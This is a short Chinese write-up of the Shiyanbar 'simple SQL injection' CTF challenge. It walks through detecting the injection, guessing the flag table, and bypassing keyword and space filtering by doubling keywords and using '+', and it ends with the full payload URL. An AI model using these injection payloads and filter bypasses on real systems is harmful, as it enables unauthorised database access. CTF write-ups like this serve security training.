实验吧CTF 简单的sql注入解题WriteUp

实验吧CTF 简单的sql注入解题WriteUp_第1张图片

解题思路:研究了好久,看了这道CTF题目的writeup才知道

在文本框输入1,提交,链接变成id=1

在文件框输入1‘,提交,报错,判断存在注入。

初步预计后台表为flag,字段名为flag,需要构造union select flag from flag来执行。

根据第二步的报错信息看,多加个‘,后面的语句需要再构造一个条件来结束’,注入语句为:1‘ union select flag from flag where 't'='t

执行后报错:heck the manual that corresponds to your MySQL server version for the right syntax to use near 'flag flag 't'='t'' at line 1

分析:根据错误信息发现只有变量了,其他的关键字都被过滤了。

把关键字写2遍提交,发现如下报错: corresponds to your MySQL server version for the right syntax to use near 'unionselectflag fromflag where't'='t'' at line 1

分析:发现空格被过滤了

使用+号在空格之前连接:

http://ctf5.shiyanbar.com/423/web/?id=1 '+unionunion +selectselect +flag+fromfrom +flag+wherewhere+'t'='t

得到KEY:flag{xxxxxx}

你可能感兴趣的:(实验吧CTF 简单的sql注入解题WriteUp)